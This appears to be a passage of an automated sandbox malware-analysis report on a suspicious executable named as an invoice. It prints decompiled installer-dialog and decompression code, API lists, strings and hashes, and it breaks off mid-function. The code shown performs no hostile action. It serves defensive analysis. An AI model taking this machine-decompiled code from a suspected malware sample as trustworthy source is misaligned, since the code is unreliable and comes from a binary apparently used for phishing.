								E0040625F(0x79fef0, _t146);
								_t89 = E00405BDB(0x79fef0);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x79fef0,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x79fef0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x79fef0,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405B7C(0x79fef0);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x79fef0) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404B60(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								_t147 =  *0x7a79fc; // 0xa5dd06
								if( *((intOrPtr*)(_t147 + 0x10)) != _t158) {
									E00404B48(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x79fee0);
									} else {
										E00404A7F(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x7a8ae4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E00404216(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x7a1f10 == _t158) {
									E0040461C();
								}
								 *0x7a1f10 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x7a1f20;
							_v60 = E00404A19;
							_v56 = _t146;
							_v68 = E00406281(_t146, 0x7a1f20, _t167, 0x7a06f8, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405B30(_t146);
								_t125 =  *((intOrPtr*)( *0x7a8a34 + 0x11c));
								if( *((intOrPtr*)( *0x7a8a34 + 0x11c)) != 0 && _t146 == L"C:\\Users\\Arthur\\Socialdirektrer") {
									E00406281(_t146, 0x7a1f20, _t167, 0, _t125);
									if(lstrcmpiW(0x7a69c0, 0x7a1f20) != 0) {
										lstrcatW(_t146, 0x7a69c0);
									}
								}
								 *0x7a1f10 =  *0x7a1f10 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405BA7(_t146) != 0 && E00405BDB(_t146) == 0) {
						E00405B30(_t146);
					}
					 *0x7a79f8 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004041F4(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E004041F4(_t167);
					E00404229(_t166);
					_t138 = E00406639(7);
					if(_t138 == 0) {
						L53:
						return E0040425B(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x004046c3
0x004046c9
0x004046cf
0x004046d3
0x004046d6
0x004046dc
0x004046ea
0x004046ed
0x004046f5
0x004046fb
0x004046fb
0x00404707
0x0040470a
0x00404778
0x0040477f
0x00404856
0x0040485d
0x0040486c
0x0040486c
0x00404870
0x0040487a
0x00404887
0x00404889
0x00404889
0x00404897
0x0040489e
0x004048a5
0x004048a8
0x004048e4
0x004048e6
0x004048ec
0x004048f1
0x004048f5
0x004048f7
0x004048f7
0x00404913
0x00000000
0x00404915
0x00404918
0x00404926
0x0040492c
0x0040492d
0x00404930
0x00404933
0x00000000
0x00404933
0x004048aa
0x004048ac
0x004048b0
0x00000000
0x00000000
0x00000000
0x00000000
0x004048b2
0x004048b2
0x004048bf
0x004048c4
0x00000000
0x00000000
0x004048c8
0x004048ca
0x004048ca
0x004048d3
0x004048d5
0x004048da
0x004048dd
0x004048e2
0x00000000
0x00000000
0x00000000
0x00000000
0x004048e2
0x0040493f
0x00404949
0x0040494c
0x0040494f
0x00404956
0x00404956
0x00404958
0x00404958
0x0040495d
0x0040495f
0x00404967
0x0040496e
0x00404970
0x0040497b
0x0040497b
0x00404970
0x00404982
0x0040498b
0x00404995
0x0040499d
0x004049b8
0x0040499f
0x004049a8
0x004049a8
0x0040499d
0x004049bd
0x004049c2
0x004049c7
0x004049d0
0x004049d0
0x004049d9
0x004049db
0x004049db
0x004049e7
0x004049ef
0x004049f9
0x004049f9
0x004049fe
0x00000000
0x004049fe
0x004048a8
0x0040485f
0x00404866
0x00000000
0x00000000
0x00000000
0x00404866
0x00404785
0x0040478e
0x004047a8
0x004047ad
0x004047b7
0x004047be
0x004047ca
0x004047cd
0x004047d0
0x004047d7
0x004047df
0x004047e2
0x004047e6
0x004047ed
0x004047f5
0x0040484f
0x004047f7
0x004047f8
0x004047ff
0x00404809
0x00404811
0x0040481e
0x00404832
0x00404836
0x00404836
0x00404832
0x0040483b
0x00404848
0x00404848
0x004047f5
0x00000000
0x004047ad
0x0040479b
0x00000000
0x00000000
0x004047a1
0x00000000
0x0040470c
0x00404719
0x00404722
0x0040472f
0x0040472f
0x00404736
0x0040473c
0x00404745
0x00404748
0x0040474b
0x00404753
0x00404756
0x00404759
0x0040475f
0x00404766
0x0040476d
0x00404a04
0x00404a16
0x00404773
0x00404776
0x00000000
0x00404776
0x0040476d

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404712
SetWindowTextW.USER32(00000000,-007A9000), ref: 0040473C
SHBrowseForFolderW.SHELL32(?), ref: 004047ED
CoTaskMemFree.OLE32(00000000), ref: 004047F8
lstrcmpiW.KERNEL32(Call,007A1F20,00000000,?,-007A9000), ref: 0040482A
lstrcatW.KERNEL32(-007A9000,Call), ref: 00404836
SetDlgItemTextW.USER32(?,000003FB,-007A9000), ref: 00404848

Part of subcall function 004058A5: GetDlgItemTextW.USER32(?,?,00000400,0040487F), ref: 004058B8

Part of subcall function 004064F3: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Rechung-R1663322504.exe",0040332B,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 00406556
Part of subcall function 004064F3: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 00406565
Part of subcall function 004064F3: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Rechung-R1663322504.exe",0040332B,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 0040656A
Part of subcall function 004064F3: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Rechung-R1663322504.exe",0040332B,C:\Users\user\AppData\Local\Temp\,764E3420,0040359C,?,00000006,00000008,0000000A), ref: 0040657D

GetDiskFreeSpaceW.KERNEL32(0079FEF0,?,?,0000040F,?,0079FEF0,0079FEF0,-007A9000,00000001,0079FEF0,-007A9000,-007A9000,000003FB,-007A9000), ref: 0040490B
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404926

Part of subcall function 00404A7F: lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,-007A9000), ref: 00404B20
Part of subcall function 00404A7F: wsprintfW.USER32 ref: 00404B29
Part of subcall function 00404A7F: SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B3C

Strings

A, xrefs: 004047E6
Call, xrefs: 00404824, 00404829, 00404834
C:\Users\user\Socialdirektrer, xrefs: 00404813

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\Socialdirektrer$Call
API String ID: 2624150263-1901847484
Opcode ID: 0c7f170aa07b4f990fd810fc3d8385bd6d645f8ceed926d30039bf09dbb597e7
Instruction ID: 1a43a6be4abc44de482ff05cd7d85368efa207dbef88ee5e6ca465c7332a2ce1
Opcode Fuzzy Hash: 0c7f170aa07b4f990fd810fc3d8385bd6d645f8ceed926d30039bf09dbb597e7
Instruction Fuzzy Hash: B0A1AEF1900209ABDB11AFA5CD45AAFB7B8EF84314F10843BF611B62D1DB7C99418B69

Uniqueness

Uniqueness Score: -1.00%

Function 00406937 Relevance: .6, Instructions: 644
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406937(signed int _a4) {
				signed int _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				char _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				void _v112;
				signed int _t558;
				signed int _t559;
				signed int _t562;
				signed int _t563;
				void* _t638;

				_t558 = _a4;
				_t2 = _t558 + 0x37e864; // 0xb09f3c
				_t559 = 0x18;
				memcpy( &_v112, _t2, _t559 << 2);
				_t562 =  *((char*)(_t558 + 0x10)) + 0xfffffff5;
				if(_t562 > 0x12) {
					L50:
					_t102 = _t558 + 0x37e864; // 0xb09f3c
					_t563 = 0x18;
					return memcpy(_t102,  &_v112, _t563 << 2);
				}
				_t638 = 8;
				switch( *((intOrPtr*)(_t562 * 4 +  &M004071BE))) {
					case 0:
						 *((char*)(_t558 + 0x10)) = 0xb;
						if(E0040720A( &_a4, _t638, _t558) != 0) {
							goto L162;
						}
						if(_a4 != 0x17) {
							__eflags = _a4 - 0x31;
							if(_a4 != 0x31) {
								goto L48;
							}
							_t13 = _t558 + 0x2c;
							 *_t13 =  *(_t558 + 0x2c) & 0x00000000;
							__eflags =  *_t13;
							goto L7;
						}
						 *((char*)(_t558 + 0x10)) = 1;
						_push(4);
						goto L49;
					case 1:
						goto L50;
					case 2:
						L7:
						 *((char*)(_t558 + 0x10)) = 0xd;
						_t429 = E0040720A( &_a4, _t638, _t558);
						__eflags = _t429;
						if(_t429 != 0) {
							goto L162;
						}
						_t17 = _t558 + 0x2c; // 0xb1e9dd01
						_t432 =  *_t17 << 0x00000008 | _a4;
						__eflags = _t432;
						 *(_t558 + 0x2c) = _t432;
						goto L9;
					case 3:
						L9:
						 *((char*)(_t558 + 0x10)) = 0xe;
						_t434 = E0040720A( &_a4, _t638, _t558);
						__eflags = _t434;
						if(_t434 != 0) {
							goto L162;
						}
						_t22 = _t558 + 0x2c; // 0xb1e9dd01
						_t437 =  *_t22 << 0x00000008 | _a4;
						__eflags = _t437;
						 *(_t558 + 0x2c) = _t437;
						goto L11;
					case 4:
						L11:
						 *((char*)(_t558 + 0x10)) = 0xf;
						_t439 = E0040720A( &_a4, _t638, _t558);
						__eflags = _t439;
						if(_t439 != 0) {
							goto L162;
						}
						_t27 = _t558 + 0x2c; // 0xb1e9dd01
						_t442 =  *_t27 << 0x00000008 | _a4;
						__eflags = _t442;
						 *(_t558 + 0x2c) = _t442;
						if(_t442 < 0) {
							goto L48;
						}
						__eflags = _t442 - 0xdbbaa;
						if(_t442 > 0xdbbaa) {
							goto L48;
						}
						_v112 = _v112 & 0x00000000;
						goto L20;
					case 5:
						L15:
						 *((char*)(_t558 + 0x10)) = 0x10;
						_t444 = E0040720A( &_a4, 1, _t558);
						__eflags = _t444;
						if(_t444 != 0) {
							goto L162;
						}
						__eflags = _a4 - 1;
						_t445 = _v112;
						if(_a4 != 1) {
							_t38 = _t445 + _t558 + 0x36fbbc;
							 *_t38 =  *(_t445 + _t558 + 0x36fbbc) & 0x00000000;
							__eflags =  *_t38;
						} else {
							 *(_t445 + _t558 + 0x36fbbc) = 1;
						}
						_t42 =  &_v112;
						 *_t42 = _v112 + 1;
						__eflags =  *_t42;
						L20:
						__eflags = _v112 - 0x10;
						if(_v112 < 0x10) {
							goto L15;
						}
						_t45 =  &_v112;
						 *_t45 = _v112 & 0x00000000;
						__eflags =  *_t45;
						do {
							 *(_t558 + _v112 + 0x36fabc) =  *(_t558 + _v112 + 0x36fabc) & 0x00000000;
							_v112 = _v112 + 1;
							__eflags = _v112 - 0x100;
						} while (_v112 < 0x100);
						_v112 = _v112 & 0x00000000;
						goto L30;
					case 6:
						L24:
						 *((char*)(_t558 + 0x10)) = 0x11;
						_t554 = E0040720A( &_a4, 1, _t558);
						__eflags = _t554;
						if(_t554 != 0) {
							goto L162;
						}
						__eflags = _a4 - 1;
						if(_a4 == 1) {
							_t557 = (_v112 << 4) + _v108;
							__eflags = _t557;
							 *((char*)(_t557 + _t558 + 0x36fabc)) = 1;
						}
						_t64 =  &_v108;
						 *_t64 = _v108 + 1;
						__eflags =  *_t64;
						L28:
						__eflags = _v108 - 0x10;
						if(_v108 < 0x10) {
							goto L24;
						}
						L29:
						_t67 =  &_v112;
						 *_t67 = _v112 + 1;
						__eflags =  *_t67;
						L30:
						__eflags = _v112 - 0x10;
						if(_v112 >= 0x10) {
							 *(_t558 + 0x36fab8) =  *(_t558 + 0x36fab8) & 0x00000000;
							_t447 = 0;
							__eflags = 0;
							do {
								__eflags =  *((char*)(_t558 + _t447 + 0x36fabc));
								if( *((char*)(_t558 + _t447 + 0x36fabc)) != 0) {
									 *((char*)(_t558 +  *(_t558 + 0x36fab8) + 0x36fbcc)) = _t447;
									_t82 = _t558 + 0x36fab8;
									 *_t82 =  *(_t558 + 0x36fab8) + 1;
									__eflags =  *_t82;
								}
								_t447 = _t447 + 1;
								__eflags = _t447 - 0x100;
							} while (_t447 < 0x100);
							_t448 =  *(_t558 + 0x36fab8);
							__eflags = _t448;
							if(_t448 == 0) {
								goto L48;
							}
							_t449 = _t448 + 2;
							__eflags = _t449;
							_v100 = _t449;
							goto L39;
						}
						_t552 = _v112;
						__eflags =  *((char*)(_t552 + _t558 + 0x36fbbc));
						if( *((char*)(_t552 + _t558 + 0x36fbbc)) == 0) {
							goto L29;
						}
						_v108 = _v108 & 0x00000000;
						goto L28;
					case 7:
						L39:
						 *((char*)(_t558 + 0x10)) = 0x12;
						_t451 = E0040720A( &_v96, 3, _t558);
						__eflags = _t451;
						if(_t451 != 0) {
							goto L162;
						}
						__eflags = _v96 - 2;
						if(_v96 < 2) {
							goto L48;
						}
						__eflags = _v96 - 6;
						if(_v96 > 6) {
							goto L48;
						}
						goto L42;
					case 8:
						L42:
						 *((char*)(_t558 + 0x10)) = 0x13;
						_t453 = E0040720A( &_v92, 0xf, _t558);
						__eflags = _t453;
						if(_t453 != 0) {
							goto L162;
						}
						__eflags = _v92 - 1;
						if(_v92 < 1) {
							goto L48;
						}
						_v112 = _v112 & _t453;
						goto L52;
					case 9:
						while(1) {
							 *((char*)(_t558 + 0x10)) = 0x14;
							_t549 = E0040720A( &_a4, 1, _t558);
							__eflags = _t549;
							if(_t549 != 0) {
								goto L162;
							}
							__eflags = _a4 - _t549;
							if(_a4 == _t549) {
								 *((char*)(_v112 + _t558 + 0x37535e)) = _v108;
								_t109 =  &_v112;
								 *_t109 = _v112 + 1;
								__eflags =  *_t109;
								L52:
								_t604 = _v92;
								__eflags = _v112 - _t604;
								if(_v112 >= _t604) {
									_t628 = 0;
									_t566 = 0;
									__eflags = _v96;
									if(_v96 <= 0) {
										L57:
										__eflags = _t604 - _t628;
										_v112 = _t628;
										if(_t604 <= _t628) {
											L62:
											_v104 = _v104 & 0x00000000;
											goto L74;
										} else {
											goto L58;
										}
										do {
											L58:
											_t601 =  *((intOrPtr*)(_t558 + _t628 + 0x37535e));
											_t545 = _t601 & 0x000000ff;
											__eflags = _t601;
											_t647 = _t648 + _t545 - 0xc;
											_t621 =  *_t647;
											if(_t601 <= 0) {
												goto L61;
											}
											_v8 = _t545;
											do {
												_t125 =  &_v8;
												 *_t125 = _v8 - 1;
												__eflags =  *_t125;
												_t127 = _t647 - 1; // 0x40ce0f
												_t602 = _t127;
												 *_t647 =  *_t602;
												_t647 = _t602;
											} while ( *_t125 != 0);
											L61:
											 *((char*)(_t558 + _t628 + 0x370d0c)) = _t621;
											_t628 = _v112 + 1;
											_v16 = _t621;
											__eflags = _t628 - _v92;
											_v112 = _t628;
										} while (_t628 < _v92);
										goto L62;
									}
									_t547 = 0;
									__eflags = 0;
									do {
										 *(_t648 + _t547 - 0xc) = _t566;
										_t566 = _t566 + 1;
										_t547 = _t566 & 0x000000ff;
										__eflags = _t547 - _v96;
									} while (_t547 < _v96);
									goto L57;
								}
								_v108 = _v108 & 0x00000000;
								continue;
							}
							_v108 = _v108 + 1;
							__eflags = _v108 - _v96;
							if(_v108 < _v96) {
								continue;
							}
							goto L48;
						}
						goto L162;
					case 0xa:
						L75:
						 *((char*)(_t558 + 0x10)) = 0x15;
						_t536 = E0040720A( &_v56, 5, _t558);
						__eflags = _t536;
						if(_t536 != 0) {
							goto L162;
						}
						_v112 = _v112 & _t536;
						goto L72;
					case 0xb:
						L69:
						 *((char*)(_t558 + 0x10)) = 0x16;
						_t539 = E0040720A( &_a4, 1, _t558);
						__eflags = _t539;
						if(_t539 != 0) {
							goto L162;
						}
						__eflags = _a4 - _t539;
						if(_a4 != _t539) {
							goto L63;
						}
						 *((char*)(_v104 * 0x102 + _v112 + _t558 + 0x3799b0)) = _v56;
						_t153 =  &_v112;
						 *_t153 = _v112 + 1;
						__eflags =  *_t153;
						L72:
						__eflags = _v112 - _v100;
						if(_v112 < _v100) {
							goto L67;
						}
						_t157 =  &_v104;
						 *_t157 = _v104 + 1;
						__eflags =  *_t157;
						L74:
						_t454 = _v96;
						__eflags = _v104 - _t454;
						if(_v104 >= _t454) {
							_v104 = _v104 & 0x00000000;
							__eflags = _t454;
							if(_t454 <= 0) {
								L86:
								_v84 = _v84 | 0xffffffff;
								_v72 = 0xdbba0;
								_v88 =  *(_t558 + 0x36fab8) + 1;
								__eflags = 0;
								_v80 = 0;
								_v112 = 0;
								do {
									 *((intOrPtr*)(_t558 + 0x30 + _v112 * 4)) = 0;
									_v112 = _v112 + 1;
									__eflags = _v112 - 0xff;
								} while (_v112 <= 0xff);
								_push(0xf);
								_t639 = 0xfff;
								_pop(_t458);
								_t205 = _t558 + 0x370d08; // 0xafc3e0
								_t629 = _t205;
								do {
									_v8 = 0xf;
									_t569 = _t458 << 4;
									__eflags = _t569;
									do {
										 *((char*)(_t639 + _t558 + 0x36fccc)) = _v8 + _t569;
										_t639 = _t639 - 1;
										_t210 =  &_v8;
										 *_t210 = _v8 - 1;
										__eflags =  *_t210;
									} while ( *_t210 >= 0);
									_t458 = _t458 - 1;
									 *_t629 = _t639 + 1;
									_t629 = _t629 - 4;
									__eflags = _t458;
								} while (_t458 >= 0);
								_v68 = _v68 & 0x00000000;
								_t460 = E0040726F( &_v112, _t558);
								__eflags = _t460;
								if(_t460 != 0) {
									goto L48;
								}
								goto L93;
							} else {
								goto L78;
							}
							do {
								L78:
								_t634 = _v100;
								_t620 = 0;
								_push(0x20);
								__eflags = _t634;
								_pop(_t646);
								_v112 = 0;
								if(_t634 <= 0) {
									goto L85;
								}
								_t532 = _v104 * 0x102;
								__eflags = _t532;
								_t171 = _t558 + 0x3799b0; // 0x3799b0
								_t599 = _t532 + _t171;
								do {
									_t534 =  *(_t599 + _v112) & 0x000000ff;
									__eflags = _t534 - _t620;
									if(_t534 > _t620) {
										_t620 = _t534;
									}
									__eflags = _t534 - _t646;
									if(_t534 < _t646) {
										_t646 = _t534;
									}
									_v112 = _v112 + 1;
									__eflags = _v112 - _t634;
								} while (_v112 < _t634);
								L85:
								_t526 = _v104 * 0x408 + _t558;
								_t181 = _t526 + 0x37d01c; // 0x37d01c
								_t182 = _t526 + 0x37b7ec; // 0x37b7ec
								E004072F0(_v104 * 0x408 + _t558 + 0x379fbc, _t182, _t181, _v104 * 0x102 + _t558 + 0x3799b0, _t646, _t620, _t634);
								 *(_t558 + 0x37e84c + _v104 * 4) = _t646;
								_v104 = _v104 + 1;
								__eflags = _v104 - _v96;
							} while (_v104 < _v96);
							goto L86;
						}
						goto L75;
					case 0xc:
						L63:
						 *((char*)(_t558 + 0x10)) = 0x17;
						_t541 = E0040720A( &_a4, 1, _t558);
						__eflags = _t541;
						if(_t541 != 0) {
							goto L162;
						}
						__eflags = _a4 - _t541;
						if(_a4 != _t541) {
							_t141 =  &_v56;
							 *_t141 = _v56 - 1;
							__eflags =  *_t141;
						} else {
							_v56 = _v56 + 1;
						}
						L67:
						__eflags = _v56 - 1;
						if(_v56 < 1) {
							goto L48;
						}
						__eflags = _v56 - 0x14;
						if(_v56 > 0x14) {
							goto L48;
						}
						goto L69;
					case 0xd:
						L93:
						 *((char*)(_t558 + 0x10)) = 0x18;
						_t462 = E0040720A( &_v44, _v48, _t558);
						__eflags = _t462;
						if(_t462 != 0) {
							goto L162;
						}
						_t463 = _v44;
						goto L95;
					case 0xe:
						L98:
						 *((char*)(_t558 + 0x10)) = 0x19;
						_t521 = E0040720A( &_v40, 1, _t558);
						__eflags = _t521;
						if(_t521 != 0) {
							goto L162;
						}
						_t463 = _v44 + _v44 | _v40;
						_v44 = _t463;
						L95:
						_t571 = _v48;
						__eflags = _t571 - 0x14;
						if(_t571 > 0x14) {
							goto L48;
						}
						__eflags = _t463 -  *((intOrPtr*)(_v28 + _t571 * 4));
						if(__eflags <= 0) {
							_t464 = _t463 -  *((intOrPtr*)(_v24 + _t571 * 4));
							goto L106;
						}
						_t593 = _t571 + 1;
						__eflags = _t593;
						_v48 = _t593;
						goto L98;
					case 0xf:
						L121:
						 *((char*)(_t558 + 0x10)) = 0x1a;
						_t483 = E0040720A( &_v44, _v48, _t558);
						__eflags = _t483;
						if(_t483 != 0) {
							goto L162;
						}
						_t484 = _v44;
						goto L123;
					case 0x10:
						L126:
						 *((char*)(_t558 + 0x10)) = 0x1b;
						_t487 = E0040720A( &_v40, 1, _t558);
						__eflags = _t487;
						if(_t487 != 0) {
							goto L162;
						}
						_t484 = _v44 + _v44 | _v40;
						_v44 = _t484;
						L123:
						_t578 = _v48;
						__eflags = _t578 - 0x14;
						if(_t578 > 0x14) {
							goto L48;
						}
						_t611 = _v28;
						__eflags = _t484 -  *((intOrPtr*)(_t611 + _t578 * 4));
						if(_t484 <=  *((intOrPtr*)(_t611 + _t578 * 4))) {
							_t485 = _t484 -  *((intOrPtr*)(_v24 + _t578 * 4));
							__eflags = _t485;
							if(_t485 < 0) {
								goto L48;
							}
							__eflags = _t485 - 0x102;
							if(_t485 >= 0x102) {
								goto L48;
							}
							_t465 =  *(_v20 + _t485 * 4);
							_v76 = _t465;
							goto L114;
						}
						_t592 = _t578 + 1;
						__eflags = _t592;
						_v48 = _t592;
						goto L126;
					case 0x11:
						L152:
						 *((char*)(_t558 + 0x10)) = 0x1c;
						_t509 = E0040720A( &_v44, _v48, _t558);
						__eflags = _t509;
						if(_t509 != 0) {
							goto L162;
						}
						_t510 = _v44;
						goto L103;
					case 0x12:
						L101:
						 *((char*)(_t558 + 0x10)) = 0x1d;
						_t512 = E0040720A( &_v40, 1, _t558);
						__eflags = _t512;
						if(_t512 != 0) {
							L162:
							goto L50;
						}
						_t510 = _v44 + _v44 | _v40;
						__eflags = _t510;
						_v44 = _t510;
						L103:
						__eflags = _v48 - 0x14;
						if(_v48 > 0x14) {
							L48:
							_push(0xfffffffc);
							L49:
							goto L50;
						}
						_t613 = _v28;
						_t587 = _v48 << 2;
						__eflags = _t510 -  *((intOrPtr*)(_t613 + _t587));
						if(_t510 >  *((intOrPtr*)(_t613 + _t587))) {
							_v48 = _v48 + 1;
							goto L101;
						}
						_t464 = _t510 -  *((intOrPtr*)(_v24 + _t587));
						__eflags = _t464;
						L106:
						if(__eflags < 0) {
							goto L48;
						}
						__eflags = _t464 - 0x102;
						if(_t464 >= 0x102) {
							goto L48;
						}
						_t465 =  *(_v20 + _t464 * 4);
						_v76 = _t465;
						L110:
						__eflags = _t465 - _v88;
						if(_t465 == _v88) {
							_t367 = _t558 + 0x2c; // 0xb1e9dd01
							_t466 =  *_t367;
							__eflags = _t466;
							if(_t466 < 0) {
								goto L48;
							}
							__eflags = _t466 - _v68;
							if(_t466 >= _v68) {
								goto L48;
							}
							 *(_t558 + 0x11) =  *(_t558 + 0x11) & 0x00000000;
							__eflags = 1;
							 *((intOrPtr*)(_t558 + 0x14)) = 0;
							_t467 = 1;
							 *((char*)(_t558 + 0x10)) = 2;
							 *((intOrPtr*)(_t558 + 0x430)) = 0;
							_v112 = 1;
							do {
								_t376 = _t467 * 4; // 0x3d2cbefd
								_t379 = _t467 * 4; // 0xb1e9dd01
								 *((intOrPtr*)(_t558 + 0x430 + _t467 * 4)) =  *((intOrPtr*)(_t558 + _t376 + 0x42c)) +  *((intOrPtr*)(_t558 + _t379 + 0x2c));
								_t467 = _v112 + 1;
								__eflags = _t467 - 0x100;
								_v112 = _t467;
							} while (_t467 <= 0x100);
							__eflags = _v68;
							_v112 = 0;
							if(_v68 <= 0) {
								L161:
								_t407 = _t558 + 0x2c; // 0xb1e9dd01
								_t409 =  *_t407 * 4; // 0x3e962db6
								 *((intOrPtr*)(_t558 + 0x18)) = 0;
								_t471 =  *(_t558 + _t409 + 0xc38) >> 8;
								 *(_t558 + 0x20) = _t471;
								_t414 = _t471 * 4; // 0x3e962db6
								_t472 =  *(_t558 + _t414 + 0xc38);
								 *((intOrPtr*)(_t558 + 0x18)) = 1;
								 *(_t558 + 0x20) = _t472;
								_t418 = _t558 + 0x20;
								 *_t418 =  *(_t558 + 0x20) >> 8;
								__eflags =  *_t418;
								 *(_t558 + 0x1c) = _t472 & 0x000000ff;
								goto L162;
							} else {
								goto L160;
							}
							do {
								L160:
								_t390 = _v112 * 4; // 0x3e962db6
								_t474 =  *(_t558 + _t390 + 0xc38) & 0x000000ff;
								_a4 = _t474;
								_t394 = _t474 * 4; // 0x28d9cfdc
								_t397 =  *(_t558 + _t394 + 0x430) * 4; // 0x78c310
								 *(_t558 + _t397 + 0xc38) =  *(_t558 + _t397 + 0xc38) | _v112 << 0x00000008;
								_t401 = _a4 * 4; // 0x78bb08
								 *((intOrPtr*)(_t558 + _t401 + 0x430)) =  *((intOrPtr*)(_t558 + _t401 + 0x430)) + 1;
								_v112 = _v112 + 1;
								__eflags = _v112 - _v68;
							} while (_v112 < _v68);
							goto L161;
						}
						__eflags = _t465;
						if(_t465 == 0) {
							L113:
							_t250 =  &_v64;
							 *_t250 = _v64 | 0xffffffff;
							__eflags =  *_t250;
							_v60 = 1;
							L114:
							__eflags = _t465;
							if(_t465 == 0) {
								_t266 =  &_v64;
								 *_t266 = _v64 + _v60;
								__eflags =  *_t266;
								L118:
								_v60 = _v60 << 1;
								__eflags = _t465 - 1;
								if(_t465 == 1) {
									_t271 =  &_v64;
									 *_t271 = _v64 + _v60;
									__eflags =  *_t271;
								}
								_t481 = E0040726F( &_v112, _t558);
								__eflags = _t481;
								if(_t481 != 0) {
									goto L48;
								} else {
									goto L121;
								}
							}
							__eflags = _t465 - 1;
							if(_t465 == 1) {
								goto L118;
							}
							_v64 = _v64 + 1;
